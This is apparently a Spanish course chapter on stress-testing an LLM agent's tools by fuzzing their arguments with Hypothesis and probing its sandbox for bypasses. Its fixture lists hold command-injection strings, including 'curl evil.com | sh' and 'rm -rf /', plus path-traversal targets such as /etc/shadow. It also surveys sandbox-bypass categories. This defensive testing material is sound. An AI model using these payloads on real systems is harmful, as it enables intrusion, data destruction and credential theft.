Skip to content

English · Español

04 — Fuzzing de argumentos de tools y revisión del sandbox

🇪🇸 El fuzzer no piensa como un atacante; genera entradas aleatorias y deja que el sistema falle. Combinado con un sandbox (Fase 32) que limita lo que pueden hacer las tools, las dos capas se compensan: el fuzzer encuentra entradas inesperadas, el sandbox limita el daño cuando alguna se cuela.

Por qué hacer fuzz si ya tienes schemas

La Fase 31 define los schemas de argumentos de tools (JSON Schema / Pydantic). La Fase 30 hace cumplir los schemas de salida. Ambos son whitelists de formas válidas. Entonces, ¿por qué hacer fuzz?

  • Los schemas describen forma, no semántica. Un campo path: str pasa el schema con "../../../etc/passwd". Un campo verb: str pasa con "work; rm -rf /". El schema se satisface; el comportamiento no.
  • Los schemas los escriben humanos. Los humanos olvidan casos extremos: normalización Unicode, bytes NULL, strings muy largos, desbordamiento de enteros, strings vacíos.
  • El fuzz encuentra violaciones que el autor no imaginó. Esa es la idea.

El fuzzer es posterior al schema: genera entradas que pasan la validación del schema pero aún pueden violar las expectativas de comportamiento.

Hypothesis: pruebas basadas en propiedades como fuzzing

hypothesis es la librería estándar de Python para pruebas basadas en propiedades. Reduce las entradas a ejemplos fallidos mínimos, lo cual hace que los hallazgos sean accionables.

Forma básica para el tutor de gramática:

from hypothesis import given, strategies as st

@given(
    verb=st.text(min_size=1, max_size=50),
    tense=st.sampled_from(["infinitive", "present_simple", "past_simple",
                           "past_participle", "future_will", "future_going_to"]),
    person=st.sampled_from(["1sg", "2sg", "3sg"]),
)
def test_agent_tool_args_are_safe(verb, tense, person):
    result = agent.invoke({"verb": verb, "tense": tense, "person": person})
    assert result.status in {"ok", "rejected"}
    assert "rm -rf" not in result.diagnostic   # no command leakage
    assert no_path_escape(result)               # no fs access outside KB

Lo que hace Hypothesis:

  1. Genera strings aleatorios para verb con la estrategia text() — incluyendo Unicode, caracteres de control, strings muy largos.
  2. Ejecuta el test. Si falla, reduce la entrada: intenta encontrar el verb más pequeño que aún falle.
  3. Persiste el ejemplo fallido en .hypothesis/examples/ para reintentarlo en cada ejecución.

El resultado de un fuzz de 60 segundos es, idealmente, al menos un ejemplo fallido — confirmando que el agente tiene al menos un caso límite que su schema no atrapó.

Estrategias adaptadas al modelo de amenazas

Las estrategias genéricas (st.text()) encuentran algunos problemas. Las estrategias dirigidas encuentran más:

malicious_paths = st.sampled_from([
    "../../../etc/passwd",
    "..\\..\\..\\windows\\system32\\config\\sam",
    "/dev/null",
    "/etc/shadow",
    "file:///etc/passwd",
    "\\\\server\\share",
])

command_injection = st.sampled_from([
    "verb; rm -rf /",
    "verb && curl evil.com | sh",
    "$(whoami)",
    "`id`",
    "verb\nmalicious",
])

st.one_of(malicious_paths, command_injection, st.text())

Estos son fixtures adversariales mezcladas en la pool de generación. El fuzzer pasa a ser en parte basado en propiedades, en parte basado en diccionario.

Qué significa "violación de schema" aquí

El DoD de la Fase 37 exige que el fuzzer encuentre ≥1 violación de schema en 60 segundos. "Violación de schema" significa:

  • La respuesta de tool del agente no coincide con su schema de salida declarado (Fase 30).
  • El agente lanza una excepción inesperada (no ValidationError, no ToolRejected).
  • La respuesta del agente contiene un string que parece una fuga del error de una tool (p. ej., una ruta de sistema de archivos que el usuario no podía conocer).

El fuzzer no necesita producir un incidente de seguridad — necesita producir una sorpresa de comportamiento. Las sorpresas son el indicador anticipado de vulnerabilidades latentes.

El sandbox de la Fase 32: qué estamos revisando

La Fase 32 envuelve la ejecución de tools en un entorno con capacidades restringidas:

Capacidad ¿Concedida? Mecanismo
Lectura del filesystem, data/kb/grammar-rules/ Sí Canonicalización de ruta + comprobación de prefijo
Lectura del filesystem, en cualquier otro sitio No La misma comprobación rechaza
Escritura en filesystem No Las tools no tienen APIs de escritura
Acceso a red No No se permiten imports de requests/httpx en el código de las tools
Spawn de subprocesos No subprocess, os.system, os.popen bloqueados por audit hook
Eval arbitrario de Python No No hay eval, exec, compile en el código de las tools
Tiempo de CPU Limitado signal.SIGXCPU tras 5 segundos de reloj
Memoria Limitada resource.setrlimit(RLIMIT_AS, ...)

El trabajo de la Fase 37 no es construir este sandbox (la Fase 32 ya lo hizo), sino probarlo adversarialmente:

  • Probar path traversal — ¿la canonicalización canonicaliza de verdad?
  • Probar agotamiento de CPU — ¿salta el timeout?
  • Probar agotamiento de memoria — ¿aguanta el rlimit?
  • Probar metacaracteres de shell — ¿llegan a una shell? (No deberían; no hay shell=True en ninguna parte.)
  • Probar canales laterales — resolución DNS, oráculos de timing.

Cada test que el sandbox pasa obtiene una entrada de regresión. Cada test que falla se convierte en la noticia principal del reporte.

Categorías de bypass del sandbox a probar

De la literatura sobre sandboxing, las categorías más a menudo olvidadas:

  1. TOCTOU (time-of-check, time-of-use). La ruta se canonicaliza en el momento de la comprobación; un atacante cambia un symlink antes del uso. Difícil de explotar en este montaje de un solo proceso pero merece un test.
  2. Trucos de codificación. Normalización UTF-8, URL-encoding, doble codificación. ..%2f..%2f vs ../... El canonicalizador debe normalizar antes de la comprobación de prefijo.
  3. Plegado de mayúsculas/minúsculas. Filesystems insensibles a mayúsculas estilo Windows: DATA/KB/... vs data/kb/.... (Menos relevante en la máquina Fedora de Borja pero merece un test de una línea.)
  4. Agotamiento de recursos como DoS. Aunque no haya escape, ¿puede un argumento de tool causar un cuelgue de 30 minutos? El timeout de 5 segundos debería atraparlo.
  5. Fuga por mensaje de error. Una llamada fallida a una tool devuelve un string de error. Si ese string contiene /home/borja/.../secrets, el sandbox falló al redactar.

El lab/03-tool-abuse-and-fuzz.md recorre cada uno como test concreto.

Contra qué no protege el sandbox

Una lista sin rodeos:

  • Bugs lógicos en el propio agente. Si el ruteo de tools del agente tiene un bug que llama a la tool equivocada con argumentos equivocados, el sandbox no ayuda.
  • Información que la tool debe devolver. Una tool de búsqueda en la KB devuelve contenido de KB; si hay un chunk envenenado en la KB (Lab 01), el sandbox lo deja pasar porque es una lectura legítima.
  • Compromiso del propio sandbox. Si signal.SIGXCPU es monkey-patcheado por código atacante que ya corre en el proceso, el timeout no sirve. El sandbox asume que el camino de código del agente es de confianza; sólo los argumentos de la tool no lo son.
  • El modelo. El sandbox envuelve las tools, no el forward pass del LLM. Un modelo que alucine una respuesta maliciosa es un problema aparte (cumplimiento de schema de Fase 30).

Esta lista pertenece a las filas de THREATS.md que Borja escribe durante la ejecución de la fase: tanto la cobertura del sandbox como sus huecos necesitan documentación.

La historia de las dos capas

Juntando los cuatro capítulos de teoría:

  1. Capa de frontera: los schemas (Fase 30) definen qué se permite entrar/salir.
  2. Capa de sandbox: las restricciones de capacidades (Fase 32) limitan el radio de impacto si la frontera falla.
  3. Capa de auditoría: los logs redactados (Fase 34) capturan el intento sin almacenar el payload.
  4. Capa tripwire: la verificación de MANIFEST.json (Fase 37 lab 04) detecta manipulaciones.

El fuzzing ejercita la capa 1 y prueba la capa 2. No verifica las capas 3 ni 4 — esas necesitan sus propios checks.

Recap de un párrafo

Los schemas describen forma; los fuzzers encuentran entradas que pasan la forma pero que aun así se comportan mal. hypothesis más un pequeño diccionario de payloads maliciosos es la herramienta de testing más barata y de mayor rendimiento de la fase. El sandbox de la Fase 32 es la capa que limita el daño cuando los hallazgos del fuzzer escapan del schema; el trabajo de la Fase 37 es probar el sandbox adversarialmente, no construirlo. El "≥1 violación de schema en 60 segundos" del DoD se fija deliberadamente bajo — incluso un schema cuidadosamente diseñado tiene casos límite, y no encontrar uno en 60 segundos es en sí un hallazgo digno de investigar.

Siguiente: lab/00-prompt-injection-direct.md — el payload "pirata" y su mitigación.